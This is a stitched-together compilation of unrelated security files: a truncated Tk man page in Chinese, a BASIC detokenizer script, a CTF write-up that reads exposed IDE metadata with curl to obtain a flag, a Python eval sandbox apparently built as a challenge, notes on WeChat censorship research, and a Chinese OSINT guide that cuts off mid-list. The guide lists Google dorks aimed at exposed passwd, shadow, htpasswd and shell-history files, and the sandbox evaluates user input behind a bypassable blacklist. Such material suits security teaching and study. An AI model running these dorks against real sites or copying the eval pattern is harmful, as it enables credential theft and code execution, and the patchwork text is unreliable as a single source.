widget. '\" '\" .OP cmdName dbName dbClass '\" Start of description of a specific option. cmdName gives the '\" option's name as specified in the class command, dbName gives '\" the option's name in the option database, and dbClass gives '\" the option's class in the option database. '\" '\" .UL arg1 arg2 '\" Print arg1 underlined, then print arg2 normally. '\" '\" RCS: @(#) $Id: optionMenu.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $ '\" '\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages. .if t .wh -1.3i ^B .nr ^l \n(.l .ad b '\" # Start an argument description .de AP .ie !"\\$4"" .TP \\$4 .el \{\ . ie !"\\$2"" .TP \\n()Cu . el .TP 15 .\} .ta \\n()Au \\n()Bu .ie !"\\$3"" \{\ \&\\$1 \\fI\\$2\\fP (\\$3) .\".b .\} .el \{\ .br .ie !"\\$2"" \{\ \&\\$1 \\fI\\$2\\fP .\} .el \{\ \&\\fI\\$1\\fP .\} .\} .. '\" # define tabbing values for .AP .de AS .nr )A 10n .if !"\\$1"" .nr )A \\w'\\$1'u+3n .nr )B \\n()Au+15n .\" .if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n .nr )C \\n()Bu+\\w'(in/out)'u+2n .. .AS Tcl_Interp Tcl_CreateInterp in/out '\" # BS - start boxed text '\" # ^y = starting y location '\" # ^b = 1 .de BS .br .mk ^y .nr ^b 1u .if n .nf .if n .ti 0 .if n \l'\\n(.lu\(ul' .if n .fi .. '\" # BE - end boxed text (draw box now) .de BE .nf .ti 0 .mk ^t .ie n \l'\\n(^lu\(ul' .el \{\ .\" Draw four-sided box normally, but don't draw top of .\" box if the box started on an earlier page. .ie !\\n(^b-1 \{\ \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .el \}\ \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .\} .fi .br .nr ^b 0 .. '\" # VS - start vertical sidebar '\" # ^Y = starting y location '\" # ^v = 1 (for troff; for nroff this doesn't matter) .de VS .if !"\\$2"" .br .mk ^Y .ie n 'mc \s12\(br\s0 .el .nr ^v 1u .. '\" # VE - end of vertical sidebar .de VE .ie n 'mc .el \{\ .ev 2 .nf .ti 0 .mk ^t \h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n' .sp -1 .fi .ev .\} .nr ^v 0 .. '\" # Special macro to handle page bottom: finish off current '\" # box/sidebar if in box/sidebar mode, then invoked standard '\" # page bottom macro. .de ^B .ev 2 'ti 0 'nf .mk ^t .if \\n(^b \{\ .\" Draw three-sided box if this is the box's first page, .\" draw two sides but no top otherwise. .ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .\} .if \\n(^v \{\ .nr ^x \\n(^tu+1v-\\n(^Yu \kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c .\} .bp 'fi .ev .if \\n(^b \{\ .mk ^y .nr ^b 2 .\} .if \\n(^v \{\ .mk ^Y .\} .. '\" # DS - begin display .de DS .RS .nf .sp .. '\" # DE - end display .de DE .fi .RE .sp .. '\" # SO - start of list of standard options .de SO .SH "STANDARD OPTIONS" .LP .nf .ta 5.5c 11c .ft B .. '\" # SE - end of list of standard options .de SE .fi .ft R .LP See the \\fBoptions\\fR manual entry for details on the standard options. .. '\" # OP - start of full description for a single option .de OP .LP .nf .ta 4c Command-Line Name: \\fB\\$1\\fR Database Name: \\fB\\$2\\fR Database Class: \\fB\\$3\\fR .fi .IP .. '\" # CS - begin code excerpt .de CS .RS .nf .ta .25i .5i .75i 1i .. '\" # CE - end code excerpt .de CE .fi .RE .. .de UL \\$1\l'|0\(ul'\\$2 .. .TH tk_optionMenu 3tk 4.0 Tk "Tk Built-In Commands" .BS '\" Note: do not modify the .SH NAME line immediately below! .SH NAME tk_optionMenu \- 建立菜单按钮和它的菜单 .SH "总览 SYNOPSIS" \fBtk_optionMenu \fIw varName value \fR?\fIvalue value ...\fR? .BE .SH "描述 DESCRIPTION" .PP 这个过程建立叫做 \fIw \fR的一个选项菜单按钮,并加上一个相关联的菜单。它们在一起允许用户选择用 \fIvalue\fR 参数给出的值中的一个。当前值被存储在用 \fIvarName\fR 给出名字的全局变量中,并且还将被显示为选项菜单按钮中的标签。用户可以点击菜单按钮来显示一个包括所有 \fIvalue \fR的菜单并接着选择一个新值。一旦选择了一个新值,则把它存储在这个变量中并在选项菜单按钮中出现。还可以通过设置这个变量来改变当前值。 .PP 从 \fBtk_optionMenu\fR 返回的值是与 \fIw \fR相关联的菜单的名字,这样调用者可以改变它的配置选项或以其他方式操纵它。 .SH "关键字 KEYWORDS" option menu .SH "[中文版维护人]" .B 寒蝉退士 .SH "[中文版最新更新]" .B 2001/12/26 .SH "《中国 Linux 论坛 man 手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
import sys import struct tab = { 128: "END", 129: "FOR", 130: "NEXT", 131: "DATA", 132: "INPUT#", 133: "INPUT", 134: "DIM", 135: "READ", 136: "LET", 137: "GOTO", 138: "RUN", 139: "IF", 140: "RESTORE", 141: "GOSUB", 142: "RETURN", 143: "REM", 144: "STOP", 145: "ON", 146: "WAIT", 147: "LOAD", 148: "SAVE", 149: "VERIFY", 150: "DEF", 151: "POKE", 152: "PRINT#", 153: "PRINT", 154: "CONT", 155: "LIST", 156: "CLR", 157: "CMD", 158: "SYS", 159: "OPEN", 160: "CLOSE", 161: "GET", 162: "NEW", 163: "TAB(", 164: "TO", 165: "FN", 166: "SPC(", 167: "THEN", 168: "NOT", 169: "STEP", 170: "+", 171: "-", 172: "*", 173: "/", 174: "^", 175: "AND", 176: "OR", 177: ">", 178: "=", 179: "<", 180: "SGN", 181: "INT", 182: "ABS", 183: "USR", 184: "FRE", 185: "POS", 186: "SQR", 187: "RND", 188: "LOG", 189: "EXP", 190: "COS", 191: "SIN", 192: "TAN", 193: "ATN", 194: "PEEK", 195: "LEN", 196: "STR$", 197: "VAL", 198: "ASC", 199: "CHR$", 200: "LEFT$", 201: "RIGHT$", 202: "MID$", 203: "GO", } def mp(c): c = ord(c) if c in tab: return tab[c] + " " return chr(c) s = open(sys.argv[1], "rb").read() s2 = [] while len(s): s = s[2:] # ptr q = struct.unpack("<H", s[:2])[0] s = s[2:] tot = "" while s[0] != '\x00': tot += mp(s[0]) s = s[1:] print q, tot s = s[1:]
sec-knowleage
# Centeral * Category: Web * 100 points ## Description > Our DevOps change how thier IDE to deploy new Python projects. It should be safe now. > > is it? ## Solution A website was attached. It said: ```html <div class="container"> <div class="card border-0 shadow my-5"> <div class="card-body p-5"> <h1 class="fw-light">STAGING ENVIROMENT. <br/>FOR DEVLOPMENT PURPOSES ONLY.</h1> <p class="lead">If you need a license for you PyCharm IDE please contact IT.</p> </div> </div> </div> ``` The administrators might have uploaded some IDE metadata files together with the website files. We can check form them manually, but `dirsearch` is able to do the work for us: ```console ┌──(user@kali)-[/media/sf_CTFs/appsec/Centeral] └─$ dirsearch -u https://centeral.appsecil.ctf.today/ _|. _ _ _ _ _ _|_ v0.4.3.post1 (_||| _) (/_(_|| (_| ) Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460 Output File: /media/sf_CTFs/appsec/Centeral/reports/https_centeral.appsecil.ctf.today/__23-05-17_09-47-47.txt Target: https://centeral.appsecil.ctf.today/ [09:47:47] Starting: [09:47:56] 403 - 292B - /.ht_wsr.txt [09:47:56] 403 - 292B - /.htaccess.bak1 [09:47:56] 403 - 292B - /.htaccess.sample [09:47:56] 403 - 292B - /.htaccess.orig [09:47:56] 403 - 292B - /.htaccess_orig [09:47:56] 403 - 292B - /.htaccessOLD [09:47:56] 403 - 292B - /.htaccess_extra [09:47:56] 403 - 292B - /.htaccessOLD2 [09:47:56] 403 - 292B - /.html [09:47:56] 403 - 292B - /.htm [09:47:56] 403 - 292B - /.htpasswd_test [09:47:56] 403 - 292B - /.htpasswds [09:47:56] 403 - 292B - /.htaccessBAK [09:47:56] 403 - 292B - /.htaccess_sc [09:47:56] 403 - 292B - /.htaccess.save [09:47:56] 301 - 342B - /.idea -> http://centeral.appsecil.ctf.today/.idea/ [09:47:56] 403 - 292B - /.httr-oauth [09:47:56] 403 - 292B - /.idea/ [09:47:56] 200 - 186B - /.idea/modules.xml [09:47:56] 200 - 149B - /.idea/misc.xml [09:47:56] 200 - 159B - /.idea/vcs.xml [09:47:56] 200 - 2KB - /.idea/workspace.xml [09:48:02] 200 - 30B - /admin.py [09:48:34] 403 - 292B - /server-status/ [09:48:34] 403 - 292B - /server-status ``` Browsing through the files, we find something interesting in `workspace.xml`: ```console ┌──(user@kali)-[/media/sf_CTFs/appsec/Centeral] └─$ curl -s https://centeral.appsecil.ctf.today/.idea/workspace.xml | grep -i flag <option name="SCRIPT_NAME" value="$PROJECT_DIR$/get_flag.py" /> ``` Let's read it: ```console ┌──(user@kali)-[/media/sf_CTFs/appsec/Centeral] └─$ curl -s https://centeral.appsecil.ctf.today/get_flag.py # Importing module import base64 EncodedPwd = "QXBwU2VjLUlMe0QwX04wN19UcjdzdF9CbGlubGl5X0lEM30=" print(base64.b64decode(EncodedPwd)) ``` We decode the string to get the flag: ```console ┌──(user@kali)-[/media/sf_CTFs/appsec/Centeral] └─$ echo QXBwU2VjLUlMe0QwX04wN19UcjdzdF9CbGlubGl5X0lEM30= | base64 -d AppSec-IL{D0_N07_Tr7st_Blinliy_ID3} ```
sec-knowleage
import sys import ast blacklist = [ast.Call, ast.Attribute] def check(node): if isinstance(node, list): return all([check(n) for n in node]) else: """ expr = BoolOp(boolop op, expr* values) | BinOp(expr left, operator op, expr right) | UnaryOp(unaryop op, expr operand) | Lambda(arguments args, expr body) | IfExp(expr test, expr body, expr orelse) | Dict(expr* keys, expr* values) | Set(expr* elts) | ListComp(expr elt, comprehension* generators) | SetComp(expr elt, comprehension* generators) | DictComp(expr key, expr value, comprehension* generators) | GeneratorExp(expr elt, comprehension* generators) -- the grammar constrains where yield expressions can occur | Yield(expr? value) -- need sequences for compare to distinguish between -- x < 4 < 3 and (x < 4) < 3 | Compare(expr left, cmpop* ops, expr* comparators) | Call(expr func, expr* args, keyword* keywords, expr? starargs, expr? kwargs) | Repr(expr value) | Num(object n) -- a number as a PyObject. | Str(string s) -- need to specify raw, unicode, etc? -- other literals? bools? -- the following expression can appear in assignment context | Attribute(expr value, identifier attr, expr_context ctx) | Subscript(expr value, slice slice, expr_context ctx) | Name(identifier id, expr_context ctx) | List(expr* elts, expr_context ctx) | Tuple(expr* elts, expr_context ctx) -- col_offset is the byte offset in the utf8 string the parser uses attributes (int lineno, int col_offset) """ attributes = { 'BoolOp': ['values'], 'BinOp': ['left', 'right'], 'UnaryOp': ['operand'], 'Lambda': ['body'], 'IfExp': ['test', 'body', 'orelse'], 'Dict': ['keys', 'values'], 'Set': ['elts'], 'ListComp': ['elt'], 'SetComp': ['elt'], 'DictComp': ['key', 'value'], 'GeneratorExp': ['elt'], 'Yield': ['value'], 'Compare': ['left', 'comparators'], 'Call': False, # call is not permitted 'Repr': ['value'], 'Num': True, 'Str': True, 'Attribute': False, # attribute is also not permitted 'Subscript': ['value'], 'Name': True, 'List': ['elts'], 'Tuple': ['elts'], 'Expr': ['value'], # root node } for k, v in attributes.items(): if hasattr(ast, k) and isinstance(node, getattr(ast, k)): if isinstance(v, bool): return v return all([check(getattr(node, attr)) for attr in v]) if __name__ == '__main__': expr = sys.stdin.read() body = ast.parse(expr).body if check(body): sys.stdout.write(repr(eval(expr))) else: sys.stdout.write("Invalid input") sys.stdout.flush()
sec-knowleage
# WeChat内容审查研究(1) 本篇是对Citizen Lab关于WeChat内容审查调查研究的学习[1],不具有任何政治相关评论,只做学习研究。 ## Previous Work - 对不同区域(国内、国外)的手机号注册的账号,进行不同程度的监视 - 对图片实时的灵敏度计算耗时耗力,因此会首先对图片进行哈希计算,评估图片是否已经归为敏感图片,即比对黑图库 - 先前测试发现,内容监视没有实时进行,并且第一次上传敏感图片时也未进行审查 ## Technical Assessment - 实验通过显性的结果进行衡量。例如消息是否已经传达成功(对方接收到消息并可进行查看) - 通过两个频道进行,一个是在国内注册的微信账号间通讯,一个是国外注册的微信账户间通讯。相当于设置对照组进行。还有在群组间的不同账号的控制,一个群组为3个国外账号(下文称:国外群聊);一个群组为两个国外账号,一个国内账号(下文称:国内群聊) - 基于假设:微信会对文档文件(.txt, .pdf, .docx)中文字进行敏感词哈希匹配 ### 第一类技术实验 第一类实验,采用统计实验(Statistical Experiment)的方法,即使用统计学相关的知识进行分析 - 使用零假设下的卡方检验 - Image side-channel test:先在国外群聊中发送n张敏感图片,再在国内群聊中发送同样数量的图片,并统计有多少张图片未收到 - Image control test:在国内群聊中发送n张新颖的(哈希值不同)的图片,并统计中国账户未收到的数量 - 实验结果 - ![](https://image-host-toky.oss-cn-shanghai.aliyuncs.com/20200514091801.png) - 实验结果表明:即使是完全在非中国注册帐户中发送的文件、图像也要进行内容监视,并且这些文件用于建立中国注册帐户所受的审查制度 - 使用随机字符填充的方式生成新颖的敏感文件(即哈希值计算的结果不同,且先前未发送过) - 文档:在结尾添加随机生成的64位字符 - 图片:在确认敏感的JPEG图片附加24KB的随机字节 ### 第二类技术实验 第二类实验,针对哈希值碰撞情况下的内容审查研究 - Collision side-channel test:生成20张新颖敏感图片,使用特殊方法生成与先前20张敏感图片哈希值相同的、一一对应的非敏感图片。首先在国外群聊中发送敏感图片,再在国内群组中发送非敏感图片。计算国内群聊中收到的图片数量。 - Collision control test:控制组,生成20张新颖的敏感图片,并生成20张与前者具有相同哈希值的非敏感图片。将非敏感图片直接发送到国内群聊,计算未收到的数量 - 实验结果 - ![](https://image-host-toky.oss-cn-shanghai.aliyuncs.com/20200514091641.png) - 实验结果表明,图片在完全的国外注册群聊中,也会收到内容审查。并且这些敏感图片会被用于建立国内群聊的审查体系(黑图库,哈希值记录) ### 第三类技术实验 第三类实验,研究微信是否保留被撤回文件的哈希值 - Hash retention test:在国外群聊中发送新颖的敏感图片,立即撤回。一小时后,在国内群聊中发送相同的文档。如果文档发送后遭到实时审查无法成功发送并显示,那么就可以表明,微信不会删除被撤回文件的哈希值 - 实验结果 - ![](https://image-host-toky.oss-cn-shanghai.aliyuncs.com/20200514092733.png) - 实验中,无法在国内账号收到被撤回的文件。实验结果表明,无论是欧盟内部(实验中使用比利时手机号和VPN注册国外账号并进行使用)还是外部的用户,在发送新颖敏感图片并撤回后,不会从微信的敏感哈希索引中删除该文件的哈希值 - 🤔个人思考:该实验使用了VPN,如何确定微信是否会检测VPN使用情况,并且对判定为VPN使用的用户进行无差别或有差别的特殊审查? ## Policy Assessment 内容比较多,先将此内容空着,先专注于技术评估方面的学习,该方向后面再学习 ## Data Access Request Assessment 同上 ## Conclusion - 技术实验表明:在非中国注册账户之间进行通信(本文主要是在群聊场景下,先前的研究表明,群聊和1对1通信的审查力度会有所不同)会收到内容监视。 - 技术实验是通过分析在非中国注册账户中传输的文件和图像,这些图片具有对中国政治敏感性的影响。 - 技术实验结果表明,这些具有政治敏感性的文件会被用于训练和建立微信的中国区政治审查制度。但该研究结果中,**没有证据将腾讯对国际微信用户实施的监视行为归因于中国政府的指示**。 - 该研究不仅提供技术黑盒实验,同时也分析了微信面向公众的隐私政策文件、数据访问请求,与腾讯数据保护代表也进行了沟通。 - 社交媒体监督(social media surveillance)和内容审查(content moderations)并不是微信独有的,所有以盈利导向的互联网社交媒体产品都可能会有这种情况。 - TODO:目前,基于微信会对聊天文本内容进行关键词匹配检验的假设,关于微信如何生成或维护关键字组合黑名单的问题尚待解决 ## Reference [1] We Chat, They WatchHow International Users Unwittingly Build up WeChat’s Chinese Censorship Apparatus, Jeffrey Knockel, https://citizenlab.ca/2020/05/we-chat-they-watch/
sec-knowleage
# 空间测绘 <p align="center"> <img src="../../../../assets/img/banner/空间测绘.jpg" width="90%"> </p> --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- ## 大纲 * [语料收集](#语料收集) * [Github](#github) * [Google](#google) * [Shodan](#shodan) * [BinaryEdge](#binaryedge) * [Censys](#censys) * [Zoomeye](#zoomeye) * [FoFa](#fofa) * [Dnsdb](#dnsdb) * [知风](#知风) * [ONYPHE](#onyphe) * [GreyNoise](#greynoise) * [Thingful](#thingful) * [LeakIX](#leakIX) * [spyse](#spyse) * [quake](#quake) * [netlas](#netlas) --- **相关文章** - [Shodan BinaryEdge ZoomEye 网络空间搜索引擎测评](https://paper.seebug.org/970/) - [让网络空间测绘技术不再那么飘忽不定](https://mp.weixin.qq.com/s/lr39F9kNOfHlMimgymzVwg) - [A Survey on Cyberspace Search Engines](https://link.springer.com/chapter/10.1007/978-981-33-4922-3_15) - [Offensive OSINT s01e01 - OSINT & RDP](https://www.offensiveosint.io/offensive-osint-s01e01-osint-rdp/) - [Quake使用案例——利用高级组合语法拓线发掘某工控系统](https://quake.360.cn/quake/#/reportDetail?id=5fcf6443e886ea8fc5c5e2ea&title=Quake%E4%BD%BF%E7%94%A8%E6%A1%88%E4%BE%8B) - [网络空间测绘溯源技术剖析](https://www.anquanke.com/post/id/265148) - [网络空间测绘理论体系概述](https://mp.weixin.qq.com/s/CxZAfsTzY4r1AQLcNP-JGg) **相关工具** - [ffffffff0x/ones](https://github.com/ffffffff0x/ones) - 可用于多个网络资产测绘引擎 API 的命令行查询工具 - [projectdiscovery/uncover](../../安全工具/uncover.md) - Quickly discover exposed hosts on the internet using multiple search engines. **常用搜索接口** ``` https://www.exploit-db.com/search?q= https://habr.com/en/search/?q= https://so.csdn.net/so/search/s.do?q= http://so.51cto.com/?keywords= https://juejin.im/search?query=&type=all ``` --- ## 语料收集 **杂项** - [haiyangma/dics](https://github.com/haiyangma/dics) **人名** - [wainshine/Chinese-Names-Corpus](https://github.com/wainshine/Chinese-Names-Corpus) - 中文人名语料库。中文姓名,姓氏,名字,称呼,日本人名,翻译人名,英文人名。可用于中文分词、人名实体识别。 **地名** - [modood/Administrative-divisions-of-China: 中华人民共和国行政区划:省级(省份直辖市自治区)、 地级(城市)、 县级(区县)、 乡级(乡镇街道)、 村级(村委会居委会) ,中国省市区镇村二级三级四级五级联动地址数据 Node.js 爬虫.](https://github.com/modood/Administrative-divisions-of-China) **黑产 seo 关键词** - [fwwdn/sensitive-stop-words](https://github.com/fwwdn/sensitive-stop-words) - 互联网常用敏感词、停止词词库 - [observerss/textfilter](https://github.com/observerss/textfilter) - 敏感词过滤的几种实现+某1w词敏感词 - [lining0806/TextMining](https://github.com/lining0806/TextMining) - 敏感词过滤系统 - [funNLP/data/敏感词库](https://github.com/fighting41love/funNLP/tree/master/data/%E6%95%8F%E6%84%9F%E8%AF%8D%E5%BA%93) - 反动词表、暴恐词表 - [IllegalWordsDetection/blob/master/MinGanCi.txt](https://github.com/NewbieGameCoder/IllegalWordsDetection/blob/master/MinGanCi.txt) - 敏感词 - [Ldundun/DFA/blob/master/sw.txt](https://github.com/Ldundun/DFA/blob/master/sw.txt) - 敏感词 - [qloog/sensitive_words](https://github.com/qloog/sensitive_words) - 敏感词库整理 - [57ing/Sensitive-word](https://github.com/57ing/Sensitive-word) - 收集的一些敏感词汇,细分了暴恐词库、反动词库、民生词库、色情词库、贪腐词库、其他词库等 - [bzvs1992/SensitiveWordFilter](https://github.com/bzvs1992/SensitiveWordFilter) - [adlered/DangerousSpamWords](https://github.com/adlered/DangerousSpamWords) - 超轻量的中文敏感字、敏感词库,字典词典 - [seo_word](https://github.com/No-Github/AboutSecurity/blob/master/Dic/Regular/seo/seo_word.txt) --- ## Github <p align="center"> <img src="../../../../assets/img/logo/github.png" width="25%"> </p> **相关文章** - [Auditing GitHub users’ SSH key quality](https://blog.benjojo.co.uk/post/auditing-github-users-keys) - [Github搜索语法-信息搜集指南](https://payloads.online/archivers/2019-01-31/2) **语法** | 限定词 | 案例 | | - | - | | in:name | `in:name python` 查出仓库名中有 python 的项目(python in:name 也是一样的) | | in:description | `in:name,description python` 查出仓库名或者项目描述中有 python 的项目 | | in:readme | `in:readme python` 查出 `readme.md` 文件里有 python 的项目 | | repo:owner/name | `repo:octocat/hello-world` 查出 octocat 的 hello-world 项目(指定了某个人的某个项目) | | user:USERNAME | `user:1335951413 stars:<10` 查出用户 1335951413 名下 stars 少于 10 的项目 | org:ORGNAME | `org:github` 查出 github 名下的项目 | | stars:n | `stars:>=5` 查出 star数大于等于 5 个 的项目(支持大于小于区间等) | | pushed:YYYY-MM-DD | `css pushed:>2013-02-01` 查出仓库中包含 css 关键字,并且在 2013年1月 之后更新过的项目 | | language:LANGUAGE | `rails language:javascript` 查出仓库包含 rails 关键字,并且使用 javscript 语言的项目 | | created:YYYY-MM-DD | `webos created:<2011-01-01` 查出仓库中包含 webos 关键字并且是在 2011 年之前创建的项目(也支持时分秒,支持大于小于区间等) | | followers:n | `followers:1000` 查出有 1000 个拥护者(followers) 的项目(支持大于小于区间等) | | forks:n | `forks:5` 查出有 5 个 forks 的项目(支持大于小于区间等) | | filename:n | `filename:xxx.txt` 查找xxx.txt文件 | | topic:TOPIC | `topic:jekyll` 查出含有 jekyll 这个 topic 的项目(项目描述下面的东西,相当于标签、分类) | | topics:n | `topics:>5` 查出有 5 个以上 topic 的项目(支持大于小于区间等) | | archived:true/false | `archived:true GNOME` 查出已经封存了并且含有 GNOME 关键字的项目(已经不再维护了的项目) | | license:LICENSE_KEYWORD | `license:apache-2.0` 查出仓库的开源协议是 apache-2.0 的 | | size:n | `size:1000` 查出仓库大小等于 1MB 的项目 | | size:n | `size:>=30000` 查出仓库大小至少大于 30MB 的项目 | | size:n | `size:50..120` 查出仓库大小在 50KB 至 120KB 之间的项目 | | is:public/private | `is:public org:github` 查出仓库所有组织是 github 并且公开的项目 | | is:public/private | `is:private github` 查出含有 github 关键字并且是私有的项目(私有的别人看不到,所以这个是用来搜索自己的私有项目的) | > 项目名字(name)里有 python 的 ``` in:name python ``` > 名字(name)里有 python 的并且 stars 大于 3000 的 ``` in:name python starts:>3000 ``` > 名字(name)里有 python 的并且 stars 大于 3000 、forks 大于 200 的 ``` in:name python starts:>3000 forks:>200 ``` > 详情(readme)里面有 python 的并且 stars 大于 3000 的 ``` in:readme python starts:>3000 ``` > 描述(description)里面有 python 的并且 stars 大于 3000 的 ``` in:description python starts:>3000 ``` > 描述(description)里面有 python 的并且是 python 语言的 ``` in:description python language:python ``` > 描述(description)里面有 python 的并且 2019-12-20 号之后有更新过的 ``` in:description python pushed:>2019-12-20 ``` **例子** - 敏感信息 ``` create user identified by create user zabbix@'%' identified by 各单位 XX市XX局版权所有 技术支持:xxxx公司 去github上搜开发公司的客服电话 ``` - [leaky-repo](https://github.com/Plazmaz/leaky-repo) - 仓库收集了泄露文件的案例 - 交流 ``` 内部 钉钉群 ``` **监控工具** - [BishopFox/GitGot](https://github.com/BishopFox/GitGot) - 快速搜索 GitHub 上公共数据的敏感信息 - [UKHomeOffice/repo-security-scanner](https://github.com/UKHomeOffice/repo-security-scanner)- 查找意外提交给 git 仓库的秘密的 CLI 工具,例如密码,私钥 - [gwen001/github-search](https://github.com/gwen001/github-search) - 在GitHub上执行基本搜索的工具。 - [eth0izzle/shhgit](https://github.com/eth0izzle/shhgit) - 实时的监控 github 寻找敏感信息 - [lightless233/geye](https://github.com/lightless233/geye) - 一款面向企业级以及白帽子的"More Fastest" Github监控工具 - [Securityautomation/DumpTheGit](https://github.com/Securityautomation/DumpTheGit) - 搜索公开的代码仓库, 查找敏感信息 - [4x99/code6](https://github.com/4x99/code6) - GitHub 代码泄露监控系统 - [zricethezav/gitleaks](https://github.com/zricethezav/gitleaks) - 用于检测 git repos 中的硬编码机密,例如密码,api 密钥和令牌 - [hahwul/gitls](https://github.com/hahwul/gitls) - 从组织/用户中包含的所有公共存储库中提取 URL - [madneal/gshark](https://github.com/madneal/gshark) - Scan for sensitive information easily and effectively. - [trufflesecurity/trufflehog](https://github.com/trufflesecurity/trufflehog) - Find credentials all over the place --- - [cve-search/git-vuln-finder](https://github.com/cve-search/git-vuln-finder) - 从 git 提交消息中寻找潜在的软件漏洞 **同类代码托管网站** ``` https://usersnap.com/ | Usersnap - Customer Feedback & Visual Bug Tracking https://www.assembla.com/home | Secure Git, Secure Software Development in the Cloud | Assembla https://osdn.net/ | Develop and Download Open Source Software - OSDN https://gitee.com/ | 码云 Gitee — 基于 Git 的代码托管和研发协作平台 https://xiaolvyun.baidu.com/#page1 | 百度效率云 | Git代码托管,版本管理,项目管理,持续集成,持续交付,研发工具云端解决方案 https://sourceforge.net/ | SourceForge - Download, Develop and Publish Free Open Source Software https://launchpad.net/ | Launchpad https://bitbucket.org/ | Bitbucket | The Git solution for professional teams https://coding.net/ | CODING - 一站式软件研发管理平台 https://about.gitlab.com/ | The first single application for the entire DevOps lifecycle - GitLab | GitLab ``` **代码搜索网站** ``` https://searchcode.com/ https://grep.app/ ``` **新版github 代码搜索引擎** - [GitHub Code Search](https://cs.github.com/) - [Recon Weekly #2: GitHub Code Search Preview (for Hackers)](https://www.sshell.co/github-code-search/) --- ## Google <p align="center"> <img src="../../../../assets/img/logo/google.png" width="25%"> </p> **案例** - [GGvulnz — How I hacked hundreds of companies through Google Groups](https://medium.com/@milanmagyar/ggvulnz-how-i-hacked-hundreds-of-companies-through-google-groups-b69c658c8924) - 作者描述了如何通过 google group 的搜索结果获得未授权的访问链接 - [Google Dorks for Bug Bounty](https://www.cyberick.com/post/google-dorks-for-bug-bounty) - [How to master Google Hacking (Dorking)](https://blog.blockmagnates.com/how-to-master-google-hacking-dorking-bd9b6e3d28fa) **搜索引擎语法** - 包含关键字: `intitle:关键字` - 包含多个关键字: `allintitle:关键字 关键字2` - 搜索特定类型的文件: `关键字 filetype:扩展名` ,例如 `人类简史 filetype:pdf` - 搜索特定网站的内容: `关键字 site:网址` - 排除不想要的结果: `关键字 -排查条件` ,例如搜索 "运动相机",但只想看 GoPro 品牌以外的产品 `运动相机 -GoPro` - 双引号的用处:例如: `"how to write a code"` 如果没有引号,搜索的大部分结果是以 `write code` 为关键字.包含引号后,会确保将完整的字符串做为期望的检索结果提交给搜索引擎. - 搜索缓存: `cache: +后缀` ,如:`cache: regontool.org` **搜索语法合集** - [Google Hacking Database](https://www.exploit-db.com/google-hacking-database) - [K0rz3n/GoogleHacking-Page](https://github.com/K0rz3n/GoogleHacking-Page) - [BullsEye0/google_dork_list](https://github.com/BullsEye0/google_dork_list) **dork工具** - [dwisiswant0/go-dork](https://github.com/dwisiswant0/go-dork) - Go 语言编写的快速 Dork 扫描仪。 **例子** - **常见语法** ``` site:*.site.com -www site:*.*.site.com -www site:*.*.*.site.com -www inurl:tw inurl:jp inurl:editor/db/ inurl:eWebEditor/db/ inurl:bbs/data/ inurl:databackup/ inurl:blog/data/ inurl:\boke\data inurl:bbs/database/ inurl:conn.asp inc/conn.asp Server.mapPath(".mdb") allinurl:bbs data filetype:mdb inurl:database filetype:inc conn inurl:data filetype:mdb intitle:"index of" data intitle:"index of" etc intitle:"Index of" .sh_history intitle:"Index of" .bash_history intitle:"index of" passwd intitle:"index of" people.lst intitle:"index of" pwd.db intitle:"index of" etc/shadow intitle:"index of" spwd intitle:"index of" master.passwd intitle:"index of" htpasswd inurl:service.pwd ``` - **漏洞** ``` 目录遍历漏洞 site:xxx.com intitle:index.of site:xxx.com intitle:转到父目录 配置文件泄露 site:xxx.com ext:xml | ext:conf | ext:cnf | ext:reg | ext:inf | ext:rdp | ext:cfg | ext:txt | extra | ext:ini 数据库文件泄露 site:xxx.com ext:sql | ext:dbf | ext:mdb 日志文件泄露 site:xxx.com ext:log 备份和历史文件 site:xxx.com ext:bkf | ext:bkp | ext:bak | extld | ext:backup SQL错误 site:xxx.com intext:"sql syntax near" | intext:"syntax error has occurred" | intext:"incorrect syntax near" | intext:"unexpected end of SQL command" | intext:"Warning: mysql_connect()" | intext:"Warning: mysql_query()" | intext:"Warning: pg_connect()" 公开文件信息 site:xxx.com ext:doc | ext:docx | extdt | ext:pdf | ext:rtf | ext:sxw | ext:psw | ext:ppt | ext:pptx | ext:pps | ext:csv phpinfo() site:xxx.com ext:php intitle:phpinfo "published by the PHP Group" JIRA 配置错误的 JIRA 设置 inurl:/UserPickerBrowser.jspa -intitle:Login -intitle:Log 此查询列出了其 URI 中具有"UserPickerBrowser"的所有 URL,以查找公开而且不需要经过身份验证的所有配置错误的 JIRA 用户选择器功能. inurl:/ManageFilters.jspa?filterView=popular AND ( intext:All users OR intext:Shared with the public OR intext:Public ) 此查询列出了所有在其 URI 中具有"Managefilters"并且文本为"Public"的 URL,以便找到所有公开暴露且未经过身份验证的错误配置的 JIRA 过滤器. inurl:/ConfigurePortalPages!default.jspa?view=popular 此查询列出其 URI 中具有"ConfigurePortalPages"的所有 URL,以查找公开公开的所有 JIRA 仪表板. ``` 搜参数/接口 ``` inurl:.php?id=xx 公司 inurl:.asp?id=xx 公司 inurl:.jsp?id=xx 公司 inurl:.php?id=xx 公司 陕西 ``` 找文章 ``` inurl:csdn.net CVE-2019-3403 inurl:51cto.com VRRP inurl:habr.com powershell inurl:exploit-db.com docker ``` 工控 ``` inurl:/Portal/Portal.mwsl intitle:Miniweb Start Page | /CSS/Miniweb.css intitle:Rockwell Automation Device Name Uptime 